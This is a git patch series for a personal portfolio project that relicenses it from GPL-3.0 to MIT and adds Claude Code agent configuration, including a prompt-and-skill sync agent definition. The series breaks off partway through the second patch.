From 7efc7057bf601a01a342c7516c8db9f97b49552a Mon Sep 17 00:00:00 2001 From: Alexander Sullivan Date: Mon, 3 Aug 2026 10:08:58 -0400 Subject: [PATCH 1/7] switched to MIT license --- CITATION.cff | 2 +- LICENSE | 695 ++------------------------------------------------- README.md | 4 +- package.json | 1 + 4 files changed, 26 insertions(+), 676 deletions(-) diff --git a/CITATION.cff b/CITATION.cff index 7970de97..6e38bbfb 100644 --- a/CITATION.cff +++ b/CITATION.cff @@ -30,7 +30,7 @@ keywords: - portfolio - science - web application -license: GPL-3.0 +license: MIT commit: 7cf8efc05900735f6bda9d2d110749bc0b7de4f4 version: 2.0.13 date-released: '2025-10-19' diff --git a/LICENSE b/LICENSE index a5eae152..7a0e6342 100644 --- a/LICENSE +++ b/LICENSE @@ -1,674 +1,21 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - -Copyright (C) 2007 Free Software Foundation, Inc. -Everyone is permitted to copy and distribute verbatim copies -of this license document, but changing it is not allowed. - - Preamble - -The GNU General Public License is a free, copyleft license for -software and other kinds of works. - -The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - -When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - -To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - -For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - -Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - -For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - -Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - -Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - -The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - -0. Definitions. - -"This License" refers to version 3 of the GNU General Public License. - -"Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - -"The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - -To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - -A "covered work" means either the unmodified Program or a work based -on the Program. - -To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - -To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - -An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - -1. Source Code. - -The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - -A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - -The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - -The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - -The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - -The Corresponding Source for a work in source code form is that -same work. - -2. Basic Permissions. - -All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - -You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - -Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - -3. Protecting Users' Legal Rights From Anti-Circumvention Law. - -No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - -When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - -4. Conveying Verbatim Copies. - -You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - -You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - -5. Conveying Modified Source Versions. - -You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - -A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - -6. Conveying Non-Source Forms. - -You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - -A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - -A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - -"Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - -If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - -The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - -Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - -7. Additional Terms. - -"Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - -When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - -Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - -All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - -If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - -Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - -8. Termination. - -You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - -However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - -Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - -Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - -9. Acceptance Not Required for Having Copies. - -You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - -10. Automatic Licensing of Downstream Recipients. - -Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - -An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - -You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - -11. Patents. - -A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - -A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - -Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - -In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - -If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - -If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - -A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - -Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - -12. No Surrender of Others' Freedom. - -If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - -13. Use with the GNU Affero General Public License. - -Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - -14. Revised Versions of this License. - -The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - -Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - -If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - -Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - -15. Disclaimer of Warranty. - -THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - -16. Limitation of Liability. - -IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - -17. Interpretation of Sections 15 and 16. - -If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - -If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - -To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - -If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - -You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - -The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. +MIT License + +Copyright (c) 2021-2026 Alexander Joo-Hyun Sullivan + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md index 5a7925fe..a0288d21 100644 --- a/README.md +++ b/README.md @@ -43,7 +43,9 @@ See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines. All contributions are wel ## License -[GPL-3.0](LICENSE) +[MIT](LICENSE) + +If this code helps your work, a citation is appreciated. [CITATION.cff](CITATION.cff) carries the metadata. ## Authors diff --git a/package.json b/package.json index 60129808..77484f3b 100644 --- a/package.json +++ b/package.json @@ -9,6 +9,7 @@ ], "version": "2.0.13", "private": true, + "license": "MIT", "description": "Portfolio and showcase for Alexander Joo-Hyun Sullivan and related projects & experiences.", "scripts": { "audit:fix": "npm i && npm audit fix", From 68aeffa63d98c4e936b829538158ed1e6aadb5d9 Mon Sep 17 00:00:00 2001 From: Alexander Sullivan Date: Mon, 3 Aug 2026 10:09:34 -0400 Subject: [PATCH 2/7] update agentic files --- .claude/agents/prompt-skill-sync.md | 49 +++ .claude/agents/validator.md | 22 +- .claude/hooks/prompt-skill-sync.mts | 92 ++++++ .claude/hooks/validate-gate.mts | 33 +- .claude/rules/code-style.md | 85 ++---- .claude/rules/prompt-skill-sync.md | 47 +++ .claude/rules/testing.md | 76 +---- .claude/scripts/check-prompt-skill-sync.mjs | 122 ++++++++ .claude/settings.json | 10 + .claude/skills/audit-docs/SKILL.md | 203 +++++++++++-- .claude/skills/audit-pr/SKILL.md | 260 ++++++++++++++++ .claude/skills/audit-quality/SKILL.md | 214 +++++++++++++ .claude/skills/sync-audit-prompts/SKILL.md | 27 ++ .../LICENSE.txt | 21 ++ .../SKILL.md | 197 ++++++++++++ .../agents/comment-and-jsdoc-auditor.md | 103 +++++++ .../agents/test-quality-reviewer.md | 97 ++++++ .../assets/copilot-instructions.template.md | 76 +++++ .../assets/project-rules.template.md | 51 ++++ .../references/comments-and-jsdoc.md | 162 ++++++++++ .../google-typescript-style-digest.md} | 67 +++-- .../references/mocking-policy.md | 99 ++++++ .../references/project-detection.md | 114 +++++++ .../references/test-standards.md | 123 ++++++++ .claude/skills/write-tests/SKILL.md | 44 +-- .github/copilot-instructions.md | 8 +- .github/prompts/audit-docs.prompt.md | 23 +- .github/prompts/audit-pr.prompt.md | 283 ++++++++++++------ .github/prompts/audit-quality.prompt.md | 264 ++++++++-------- .github/prompts/readme.md | 145 +++------ .prettierignore | 7 +- CLAUDE.md | 22 +- package-lock.json | 216 ++++++------- 33 files changed, 2679 insertions(+), 683 deletions(-) create mode 100644 .claude/agents/prompt-skill-sync.md create mode 100644 .claude/hooks/prompt-skill-sync.mts create mode 100644 .claude/rules/prompt-skill-sync.md create mode 100644 .claude/scripts/check-prompt-skill-sync.mjs create mode 100644 .claude/skills/audit-pr/SKILL.md create mode 100644 .claude/skills/audit-quality/SKILL.md create mode 100644 .claude/skills/sync-audit-prompts/SKILL.md create mode 100644 .claude/skills/typescript-code-and-test-standards/LICENSE.txt create mode 100644 .claude/skills/typescript-code-and-test-standards/SKILL.md create mode 100644 .claude/skills/typescript-code-and-test-standards/agents/comment-and-jsdoc-auditor.md create mode 100644 .claude/skills/typescript-code-and-test-standards/agents/test-quality-reviewer.md create mode 100644 .claude/skills/typescript-code-and-test-standards/assets/copilot-instructions.template.md create mode 100644 .claude/skills/typescript-code-and-test-standards/assets/project-rules.template.md create mode 100644 .claude/skills/typescript-code-and-test-standards/references/comments-and-jsdoc.md rename .claude/skills/{google-ts-style/SKILL.md => typescript-code-and-test-standards/references/google-typescript-style-digest.md} (58%) create mode 100644 .claude/skills/typescript-code-and-test-standards/references/mocking-policy.md create mode 100644 .claude/skills/typescript-code-and-test-standards/references/project-detection.md create mode 100644 .claude/skills/typescript-code-and-test-standards/references/test-standards.md diff --git a/.claude/agents/prompt-skill-sync.md b/.claude/agents/prompt-skill-sync.md new file mode 100644 index 00000000..2b00e972 --- /dev/null +++ b/.claude/agents/prompt-skill-sync.md @@ -0,0 +1,49 @@ +--- +name: prompt-skill-sync +description: Reconciles a mirrored prompt and skill pair and returns a short verdict instead of two long files. Use when the sync check fails, when both halves of a pair were edited, or before reporting work complete on any change under .github/prompts/ or .claude/skills/audit-*/. +tools: Bash, Read, Edit, Write, Grep, Glob +background: false +color: cyan +--- + +You reconcile the mirrored prompt and skill pairs in this repository and return a verdict. Each pair is two files whose bodies below the frontmatter must match byte for byte, and reading both in the calling context costs several hundred lines for an answer that is usually one sentence. That is why this runs here. + +## The pairs + +`.github/prompts/.prompt.md` mirrors `.claude/skills//SKILL.md`. Only the frontmatter differs: the prompt carries Copilot's keys (`description`, `name`, `argument-hint`, `agent`), the skill carries the Agent Skills keys (`name`, `description`, `argument-hint`). Everything below the closing `---` is identical. + +## Procedure + +1. **Check first.** Run `node .claude/scripts/check-prompt-skill-sync.mjs` and read the exit code. If it exits 0, report that all pairs are in sync and stop. Do not edit anything. +2. **Establish the direction.** For each failing pair, work out which half carries the intended edit. `git diff` and `git status` show which file changed; where both changed, or where git cannot settle it, **ask rather than guess**. Overwriting the edited half silently destroys work, which is the one failure mode this agent exists to avoid. +3. **Propagate mechanically.** Run `--fix=to-skill` or `--fix=to-prompt`. Never hand-copy the body: the check is byte-exact, and a manual copy introduces whitespace differences that are invisible in review. +4. **Where both halves carry different intended edits**, merge by hand into one half first, then propagate from it. Say in your report that you merged and what you took from each side. +5. **Re-run the check** and confirm exit 0. +6. **Audit the shared body** for the self-containment rules below, since a violation there is not something the byte check can catch. + +## Self-containment rules the byte check cannot enforce + +Both halves get copied into other people's repositories alone. Report any of these as a finding: + +- **A relative markdown link** in the body. A copied file resolves none of them. File references in the body are code spans, not links. +- **A reference to a sibling prompt** by name. A reader may hold only one of the three, so each body describes its own job and nothing else. +- **Anything specific to this repository:** a command from `package.json`, a path under `src/`, or a convention only this project follows. +- **A provenance or attribution line** in the body. The licence travels separately. + +## Also verify + +- Both halves still pass `npx markdownlint` and `npx prettier --check` on the prompt half. `.claude/` is excluded from both, so only the prompt copy is gated, and byte-identity means passing there means passing everywhere. +- The prompt frontmatter uses only `description`, `name`, `argument-hint`, `agent`, `model`, and `tools`. Any other key is silently ignored by Copilot. +- The skill frontmatter's `name` matches its directory name. +- No em-dash or en-dash appears in either file. + +## Output + +Return a short verdict, not the file contents: + +- Which pairs were in sync, which diverged, and the direction you propagated each. +- Any merge you performed by hand, and what you took from each side. +- Any self-containment finding, quoted. +- The final exit code of the check. + +If you could not establish a direction and had to stop, say so plainly and name the pair. A stopped run is a correct outcome; an overwritten edit is not. diff --git a/.claude/agents/validator.md b/.claude/agents/validator.md index a6124ecb..285266fd 100644 --- a/.claude/agents/validator.md +++ b/.claude/agents/validator.md @@ -1,6 +1,6 @@ --- name: validator -description: Runs the repository quality gates (prettier, eslint, tsc, jest, build, markdownlint) and fixes what fails. Use proactively after any logic change and before reporting work complete. +description: Runs all eight of the repository's quality gates in the `npm run validate` chain and fixes what fails. 